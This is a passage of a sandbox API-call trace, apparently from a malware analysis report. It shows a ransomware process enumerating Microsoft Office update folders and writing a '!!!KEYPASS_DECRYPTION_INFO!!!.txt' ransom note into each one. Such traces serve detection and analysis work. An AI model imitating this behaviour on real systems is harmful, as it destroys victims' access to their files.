lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1858 [0276.278] GetFileType (hFile=0x1858) returned 0x1 [0276.279] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.279] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.279] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.279] WriteFile (in: hFile=0x1858, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.280] WriteFile (in: hFile=0x1858, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.280] CloseHandle (hObject=0x1858) returned 1 [0276.280] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x3997ab0 [0276.280] FindNextFileW (in: hFindFile=0x3997ab0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.280] FindNextFileW (in: hFindFile=0x3997ab0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.280] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.280] FindNextFileW (in: hFindFile=0x3997ab0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.280] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.280] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.280] GetLastError () returned 0x3f0 [0276.280] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.280] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4cdb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x183c [0276.282] GetFileType (hFile=0x183c) returned 0x1 [0276.282] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.282] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.282] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.282] WriteFile (in: hFile=0x183c, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.283] WriteFile (in: hFile=0x183c, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x2a, lpOverlapped=0x0) returned 1 [0276.283] CloseHandle (hObject=0x183c) returned 1 [0276.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\*", lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0x39978f0 [0276.283] FindNextFileW (in: hFindFile=0x39978f0, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.283] FindNextFileW (in: hFindFile=0x39978f0, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.284] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.284] FindNextFileW (in: hFindFile=0x39978f0, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0 [0276.284] FindNextFileW (in: hFindFile=0x3997ab0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.284] FindNextFileW (in: hFindFile=0x3997cf0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.284] FindNextFileW (in: hFindFile=0x3997ef0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.284] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.284] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.284] GetLastError () returned 0x3f0 [0276.284] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.284] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\web server extensions\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1860 [0276.337] GetFileType (hFile=0x1860) returned 0x1 [0276.337] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.337] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.337] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.337] WriteFile (in: hFile=0x1860, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.338] WriteFile (in: hFile=0x1860, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.338] CloseHandle (hObject=0x1860) returned 1 [0276.338] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x3997fb0 [0276.338] FindNextFileW (in: hFindFile=0x3997fb0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.338] FindNextFileW (in: hFindFile=0x3997fb0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.338] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.338] FindNextFileW (in: hFindFile=0x3997fb0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.338] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.338] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.338] GetLastError () returned 0x3f0 [0276.338] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.338] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\web server extensions\\16\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x185c [0276.350] GetFileType (hFile=0x185c) returned 0x1 [0276.350] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.350] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.350] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.350] WriteFile (in: hFile=0x185c, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.350] WriteFile (in: hFile=0x185c, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.351] CloseHandle (hObject=0x185c) returned 1 [0276.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x3997b70 [0276.351] FindNextFileW (in: hFindFile=0x3997b70, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.351] FindNextFileW (in: hFindFile=0x3997b70, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.351] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.351] FindNextFileW (in: hFindFile=0x3997b70, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.351] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.351] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.351] GetLastError () returned 0x3f0 [0276.351] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.351] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\microsoft shared\\web server extensions\\16\\bin\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4cdb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1864 [0276.352] GetFileType (hFile=0x1864) returned 0x1 [0276.352] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.352] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.352] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.352] WriteFile (in: hFile=0x1864, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.353] WriteFile (in: hFile=0x1864, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x2a, lpOverlapped=0x0) returned 1 [0276.353] CloseHandle (hObject=0x1864) returned 1 [0276.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\*", lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0x3997e30 [0276.353] FindNextFileW (in: hFindFile=0x3997e30, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.353] FindNextFileW (in: hFindFile=0x3997e30, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.353] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.353] FindNextFileW (in: hFindFile=0x3997e30, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0 [0276.353] FindNextFileW (in: hFindFile=0x3997b70, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.353] FindNextFileW (in: hFindFile=0x3997fb0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.353] FindNextFileW (in: hFindFile=0x3997ef0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0 [0276.353] FindNextFileW (in: hFindFile=0x3997db0, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.353] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.353] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.354] GetLastError () returned 0x3f0 [0276.354] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\System\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.354] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\system\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d7a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1868 [0276.354] GetFileType (hFile=0x1868) returned 0x1 [0276.354] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.354] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.354] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.355] WriteFile (in: hFile=0x1868, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.355] WriteFile (in: hFile=0x1868, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x2a, lpOverlapped=0x0) returned 1 [0276.355] CloseHandle (hObject=0x1868) returned 1 [0276.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\System\\*", lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0x3997e70 [0276.355] FindNextFileW (in: hFindFile=0x3997e70, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.355] FindNextFileW (in: hFindFile=0x3997e70, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.356] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\System\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.356] FindNextFileW (in: hFindFile=0x3997e70, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.356] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.356] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.356] GetLastError () returned 0x3f0 [0276.356] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\System\\ole db\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\System\\ole db\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.356] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\System\\ole db\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\System\\ole db\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilescommonx86\\system\\ole db\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x186c [0276.357] GetFileType (hFile=0x186c) returned 0x1 [0276.357] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.357] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.357] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.357] WriteFile (in: hFile=0x186c, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.358] WriteFile (in: hFile=0x186c, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.358] CloseHandle (hObject=0x186c) returned 1 [0276.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX86\\System\\ole db\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x3997f30 [0276.358] FindNextFileW (in: hFindFile=0x3997f30, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.358] FindNextFileW (in: hFindFile=0x3997f30, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.358] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 